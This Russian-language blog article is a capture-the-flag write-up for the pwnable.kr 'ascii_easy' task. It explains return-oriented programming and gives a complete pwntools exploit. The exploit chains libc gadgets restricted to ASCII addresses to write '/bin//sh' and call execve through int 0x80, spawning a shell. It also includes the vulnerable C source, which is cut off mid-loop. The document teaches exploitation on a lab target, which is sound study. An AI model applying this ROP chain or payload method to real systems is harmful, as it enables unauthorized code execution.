Решение задания с pwnable.kr 26 — ascii_easy. Разбираемся с ROP-гаджетами с нуля раз и навсегда

image


В данной статье решим 26-е задание с сайта pwnable.kr и разберемся с тем, что же такое ROP, как это работает, почему это так опасно и составим ROP-цепочеку с дополнительными усложняющими файторами.

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.


Решение задания ascii_easy


Продолжаем второй раздел. Скажу сразу, что сложнее первого, но в этот раз нам предоставляют исходный код программы. Не забываем про обсуждение здесь (https://t.me/RalfHackerPublicChat) и здесь (https://t.me/RalfHackerChannel). Начнем.

Нажимаем на иконку с подписью ascii_easy. Нам дают адрес и порт для подключения по ssh.

image

Подключаемся по SSH и видим флаг, программу, исходный код и libc библиотеку.

image

Давайте посмотри исходный код.

#include 
#include 
#include 
#include 
#include 
#include 

#define BASE ((void*)0x5555e000)

int is_ascii(int c){
    if(c>=0x20 && c<=0x7f) return 1;
    return 0;
}

void vuln(char* p){
    char buf[20];
    strcpy(buf, p);
}

void main(int argc, char* argv[]){

    if(argc!=2){
        printf("usage: ascii_easy [ascii input]\n");
        return;
    }

    size_t len_file;
    struct stat st;
    int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY);
    if( fstat(fd,&st) < 0){
        printf("open error. tell admin!\n");
        return;
    }

    len_file = st.st_size;
    if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){
        printf("mmap error!. tell admin\n");
        return;
    }

    int i;
    for(i=0; i

Разберем его по блокам. Программа принимает строку в качестве аргумента.

image

При этом строка должна состоять только из ascii символов.

image

Так же выделяется область памяти с известным адресом базы и правами на чтение, запись и исполнениею. В эту область помещается библиотека libc.

image

В добавок ко всему, в программе есть уязвимая функция.

image

При этом если проверить программу, то можно убедиться, что она имеет неисполняемый стек (параметр NX). Будем решать с помощью составления ROP.

image

Давайте скопируем библиотеку себе.

scp -P2222 ascii_easy@pwnable.kr:/home/ascii_easy/libc-2.15.so /root/


Теперь нужно собрать ROP-цепочку. Для этого воспользуемся инструментом ROP-gadget.

ROPgadget --binary libc-2.15.so > gadgets.txt


В файле gadgets.txt у нас находятся все возможные ROP-цепочки (пример 10 первых представлен ниже).

image

Проблема в том, что нам нужно выбрать те, которые состоят только из ascii символов. Для этого напишем простой фильтр, который оставит лишь те адреса, каждый байт которых принадлежит промежутку от 0×20 до 0×7f включительно.

def addr_check(addr):
	ret = True
	for i in range(0,8,2):
		if int(addr[i:i+2], 16) not in range(0x20, 0x80):
			ret = False
	return ret

f = open('gadgets.txt', 'rt')
old_gadgets = f.read().split('\n')[2:-3]
f.close()

new_gadgets = ""
base_addr = 0x5555e000

for gadget in old_gadgets:
	addr = base_addr + int(gadget.split(' : ')[0], 16)
	if addr_check(hex(addr)[2:]):
		new_gadgets += (hex(addr) + ' :' + ":".join(gadget.split(':')[1:]) + '\n')

f = open('new_gadgets.txt', 'wt')
f.write(new_gadgets)
f.close()


Запустим программу и получим список удовлетворяющих нас адресов ROP-гаджетов.

ROP-гаджеты


Многие просили подробнее описать про возвратно-ориетированное программирование. Хорошо, давайте приведем пример с иллюстрациями. Допустим мы имеем уязвимость переполнение буфера и неисполняемый стек.
ROP-гаджет представляет из себя набор инструкций, который заканчивается инструкцией возврата ret. Как правило, гаджеты выбирают из окончаний функций. В качестве примера возьмем несколько функций. В каждой из них выбираем ROP-гаджет (выделено красным цветом).

image

image

image

Таким образом мы имеем несколько ROP-цепочек:
0x000ed7cb: mov eax, edx; pop ebx; pop esi; ret
0x000ed7cd: pop ebx; pop esi; ret
0x000ed7ce: pop esi; ret
0x00033837: pop ebx; ret
0x0010ec1f: add esp, 0x2c; ret

Теперь разберем, что же за зверь такой — ROP-цепочки. При переполнении буфера мы можем переписать адрес возврата. Допустим в данный момент в целевой функции должна выполниться инструкция ret, то есть на вершине стека расположен какой-то валидный адрес.

К примеру, мы хотим выполнить следующий код:
add esp, 0x2c
add esp, 0x2c
add esp, 0x2c
mov eax, edx
pop ebx
pop esi
ret

Мы должны перезаписать валидный адрес возврата следующими адресами:
0x0010ec1f
0x0010ec1f
0x0010ec1f
0x000ed7cb

Чтобы понять, почему это сработает, давайте посмотрим на изображение ниже.

image

Таким образом, вместо возврата на валидный адрес, мы перемещаемся на первый адрес нашей ROP-цепочки. После выполнения первой команды, инструкция ret переместит выполнение программы на следующий адрес в стеке, то есть на вторую команду. Вторая команда также заканчивается ret«ом, который также переместит на следующую команду, адрес которой указан в стеке. Таким образом мы добиваемся выполнение ранее составленного нами кода.

Составление ROP-цепочки для ascii_easy.


Первым делом — выясним сколько байт нам нужно для переполнения буфера. Запустим программу в gdb и подадим строку на вход.

image

И программа вылетает по адресу «bbbb», что означает, что паддинг составляет 32 символа.

Для эксплуатации ROP удобнее всего использовать функцию execve. Удобство заключается в передаче параметров через регистры. Давайте найдем эту функцию в библиотеке libc. Это можно сделать с помощью GDB.

image

Но если прибавить к адресу функции адрес загрузки библиотеки в память, то мы увидим, что он не будет удовлетворять условию ascii.

image

Но есть другой вариант вызвать функцию. Это через системный вызов. В ОС Linux каждый системный вызов имеет свой номер. Этот номер должен быть расположен в регистре EAX, после чего следует вызов прерывания int 0×80. Полную таблицу сисколов (syscall) можно посмотреть здесь.

image

Таким образов функция execve имеет номер 11, то есть в регистре EAX должно быть расположено значение 0xb. Передача параметров происходит через регистры EBX — адрес на начало строки-парметра, ECX — адрес на указатель на строку-параметр и EDX — адрес на указатель на аргумен переменные окружения.

image

В функцию нам нужно передать строку »/bin/sh». Для этого нам нужно будет ее записать в разрешенное для записи место и передать адрес строки в качестве параметра. Строку придется сохранять по 4 символа, т.е.»/bin» и »//sh», так как регистры передают по 4 байта. Для этого я нашел следующие гаджеты:
0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret
0x55687b3c : mov dword ptr [edx], edi ; pop esi ; pop edi ; ret

Данный гаджет:

  1. Возьмет из стека адрес для записи строки, и поместит его в регистр edx, обнулит eax.
  2. Возьмет из стека значение и поместит в edi.
  3. Скопирует значение из edi по адресу в edx (запишет нашу строку по нужному адресу).
  4. Возьмет из стека еще два значения.

Таким образом, для его работы необходимо передать следующие значения:
0x555f3555 ; адрес первого гаджета
memory_addr ; адрес для записи строки (edx)
4_байта_строки ; 4 байта копируемой строки (edi)
0x55687b3c ; адрес второго гаджета
4_любых_байта ; чтобы забить регристр (esi)
4_любых_байта ; чтобы забить регристр (edi)

После чего можно выполнить эти же гаджеты, для копирования второй части строки. Найти адрес для записи не составит труда, так как библиотека загружается в область памяти, доступную для чтения, записи и исполнения.

image

Там можно взять любой адресов, удовлетворяющих условию ascii. Я взял адрес 0×55562023.

Теперь необходимо закончить нашу строку нулевым символом. Для этой задачи я использую следующуб цепочку гаджетов:
0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret
0x5560645c : mov dword ptr [edx], eax ; ret

Данный гаджет:

  1. Возьмет из стека адрес для записи null, и поместит его в регистр edx, обнулит eax.
  2. Возьмет из стека значение.
  3. Скопирует значение из обнуленного eax по адресу в edx.

Таким образом, для его работы необходимо передать следующие значения:
0x555f3555 ; адрес первого гаджета
memory_addr+8 ; адрес для записи 0 - конец строки (edx)
4_любых_байта ; чтобы заполнить регистр edi
0x5560645c ; адрес второго гаджета

Таким образом мы скопировали нашу строку в память. Дальше нужно заполнить регистры, для передачи значений. Так как вызываемая в execve программа »/bin/sh» не будет иметь собственных аргументов и переменных окружения, мы передадим в них указатель на null. В ebx запишем адрес на строку и в eax запишем 11 — номер сискола execve. Для этого я нашел следующие гаджеты:
0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret
0x556d2a51 : pop ecx ; add al, 0xa ; ret
0x5557734e : pop ebx ; ret
0x556c6864 : inc eax ; ret

Данный гаджет:

  1. Поместит из стека значение в edx, обнулит eax.
  2. Переместит значение из стека в edi.
  3. Переместит значение из стека в ecx, прибавит к обнуленному eax 10.
  4. Переместит значение из стека в ebx.
  5. Увеличит eax с 10 до 11.

Таким образом, для его работы необходимо передать следующие значения:
0x555f3555 ; адрес первого гаджета
memory_addr+8 ; адрес null (edx)
4_любых_байта ; чтобы заполнить регистр edi
0x556d2a51 ; адрес второго гаджета
memory_addr+8 ; адрес null (ecx)
0x5557734e ; адрес третьего гаджета
memory_addr ; адрес строки-параметра(ebx)
0x556c6864 ; адрес четвертого гаджета

И завершаем наш ROP-chain вызовом исключения.
0x55667176 : inc esi ; int 0x80

Ниже приведу более сокращенную и общую запись рассказанного выше.

image

И код, формирующий пэйлоад.

from pwn import *

payload = "a"*32

pop_edx = 0x555f3555
memory_addr = 0x55562023
mov_edx_edi = 0x55687b3c
mov_edx_eax = 0x5560645c
pop_ecx = 0x556d2a51
pop_ebx = 0x5557734e
inc_eax = 0x556c6864
int_80 = 0x55667176

payload += p32(pop_edx)
payload += p32(memory_addr)
payload += '/bin'
payload += p32(mov_edx_edi)
payload += 'aaaaaaaa'
payload += p32(pop_edx)
payload += p32(memory_addr + 4)
payload += '//sh'
payload += p32(mov_edx_edi)
payload += 'aaaaaaaa'
payload += p32(pop_edx)
payload += p32(memory_addr + 8)
payload += 'aaaa'
payload += p32(mov_edx_eax)
payload += p32(pop_edx)
payload += p32(memory_addr + 8)
payload += 'aaaa'
payload += p32(pop_ecx)
payload += p32(memory_addr + 8)
payload += p32(pop_ebx)
payload += p32(memory_addr)
payload += p32(inc_eax)
payload += p32(int_80)

print(payload)

image

image

Скажу честно, для меня, почему-то, это было одно из самых сложных заданий с этой площадки…

Дальше больше и сложнее… Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

© Habrahabr.ru